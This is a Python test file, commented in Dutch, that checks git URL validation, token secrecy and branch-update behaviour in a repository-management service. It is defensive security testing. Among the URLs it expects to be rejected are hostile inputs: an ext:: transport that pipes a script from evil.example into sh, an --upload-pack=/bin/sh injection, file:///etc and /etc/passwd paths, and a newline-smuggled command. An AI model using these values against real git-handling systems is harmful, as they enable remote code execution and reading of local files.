"""Git-URL-validatie. `ext::` voert een shell-commando uit, `file://` legt lokale paden bloot — beide horen niet in een door de gebruiker opgegeven URL.""" import pytest from conftest import login @pytest.mark.parametrize("url", [ "https://github.com/bes-r/server-up.git", "http://10.0.20.22:3000/bes-r/server-up.git", "ssh://git@example.com/bes-r/server-up.git", "git@github.com:bes-r/server-up.git", ]) def test_toegestane_urls(env, url): assert env["core"].valid_repo_url(url) is True @pytest.mark.parametrize("url", [ 'ext::sh -c "curl evil.example/x.sh | sh"', "file:///etc", "/etc/passwd", "--upload-pack=/bin/sh", "", "https://example.com/repo.git\next::sh -c id", ]) def test_geweigerde_urls(env, url): assert env["core"].valid_repo_url(url) is False def test_repo_toevoegen_weigert_ext_transport(client): csrf = login(client) r = client.post("/api/repos", json={"url": 'ext::sh -c "id"'}, headers={"X-CSRF-Token": csrf}) assert r.status_code == 400 assert client.get("/api/repos").get_json() is not None def test_clone_weigert_ext_transport_uit_oude_config(env): """Vangnet: ook een repo die al in config.json stond wordt geweigerd.""" from core import git ok, msg = git.clone_or_pull({"id": "boos", "url": 'ext::sh -c "id"'}) assert ok is False assert "niet-toegestane" in msg def test_repos_endpoint_lekt_geen_token(client, env): csrf = login(client) client.post("/api/repos", json={"url": "https://example.com/geheim.git", "token": "s3cr3t-token"}, headers={"X-CSRF-Token": csrf}) body = client.get("/api/repos").get_data(as_text=True) assert "s3cr3t-token" not in body assert "has_token" in body settings = client.get("/api/settings").get_data(as_text=True) assert "s3cr3t-token" not in settings def test_settings_put_wist_bestaand_token_niet(client, env): csrf = login(client) client.post("/api/repos", json={"id": "mijn", "url": "https://example.com/x.git", "token": "blijf-staan"}, headers={"X-CSRF-Token": csrf}) repos = client.get("/api/repos").get_json() client.put("/api/settings", json={"APP_REPOS": repos}, headers={"X-CSRF-Token": csrf}) stored = env["core"].load()["APP_REPOS"] mijn = next(r for r in stored if r["id"] == "mijn") assert mijn["token"] == "blijf-staan" def test_settings_put_kan_auth_niet_overschrijven(client, env): csrf = login(client) client.put("/api/settings", json={"AUTH": {"mode": "proxy", "users": {}, "trusted_proxies": ["0.0.0.0/0"]}}, headers={"X-CSRF-Token": csrf}) import core.auth as auth assert auth.settings()["mode"] == "local" assert "tester" in auth.settings()["users"] # ── Bijwerken van de cache ─────────────────────────────────────────────────── # `git pull --rebase` leunt op de upstream-instellingen van de lokale kloon. # Die kunnen ontsporen, en de branch uit de instellingen werd er sowieso niet # door gevolgd. def _repo_met_twee_takken(tmp_path): import subprocess as sp bron = tmp_path / "bron" bron.mkdir() def g(*a): return sp.run(["git", *a], cwd=str(bron), capture_output=True, text=True, check=True) g("init", "-qb", "main", ".") g("config", "user.email", "t@t") g("config", "user.name", "t") (bron / "app.txt").write_text("van main") g("add", "app.txt") g("commit", "-qm", "main") g("checkout", "-qb", "dev") (bron / "app.txt").write_text("van dev") g("commit", "-qam", "dev") g("checkout", "-q", "main") return bron def test_bijwerken_volgt_de_ingestelde_branch(env, tmp_path, monkeypatch): """`git pull` haalde altijd de tak op waarop ooit gekloond was. Zette je de branch in de instellingen om, dan gebeurde er stilzwijgend niets.""" import shutil as _shutil from core import git if not _shutil.which("git"): pytest.skip("git niet aanwezig") bron = _repo_met_twee_takken(tmp_path) # file:// is normaal niet toegestaan; hier gaat het om het bijwerken zelf. monkeypatch.setattr("core.valid_repo_url", lambda u: True) repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"} ok, msg = git.clone_or_pull(repo) assert ok, msg cache = git.cache_dir("proef") assert (cache / "app.txt").read_text() == "van main" repo["branch"] = "dev" ok, msg = git.clone_or_pull(repo) assert ok, msg assert (cache / "app.txt").read_text() == "van dev", \ "de gewijzigde branch werd genegeerd" def test_bijwerken_overleeft_een_ontspoorde_upstream(env, tmp_path, monkeypatch): """Twee waarden in `branch..merge` lieten git stoppen met "Cannot rebase onto multiple branches" — en daarmee werkte er niets meer bij.""" import shutil as _shutil import subprocess as sp from core import git if not _shutil.which("git"): pytest.skip("git niet aanwezig") bron = _repo_met_twee_takken(tmp_path) monkeypatch.setattr("core.valid_repo_url", lambda u: True) repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"} assert git.clone_or_pull(repo)[0] cache = git.cache_dir("proef") sp.run(["git", "config", "remote.origin.fetch", "+refs/heads/*:refs/remotes/origin/*"], cwd=str(cache), check=True) sp.run(["git", "config", "--add", "branch.main.merge", "refs/heads/dev"], cwd=str(cache), check=True) ok, msg = git.clone_or_pull(repo) assert ok, f"bijwerken struikelt over de upstream-instellingen: {msg}" assert "multiple branches" not in msg def test_lokale_rommel_in_de_cache_blokkeert_niets(env, tmp_path, monkeypatch): """De cache is van Server Up; wat er lokaal in gewijzigd is mag het bijwerken niet tegenhouden.""" import shutil as _shutil from core import git if not _shutil.which("git"): pytest.skip("git niet aanwezig") bron = _repo_met_twee_takken(tmp_path) monkeypatch.setattr("core.valid_repo_url", lambda u: True) repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"} assert git.clone_or_pull(repo)[0] (git.cache_dir("proef") / "app.txt").write_text("met de hand gewijzigd") ok, msg = git.clone_or_pull(repo) assert ok, msg assert (git.cache_dir("proef") / "app.txt").read_text() == "van main"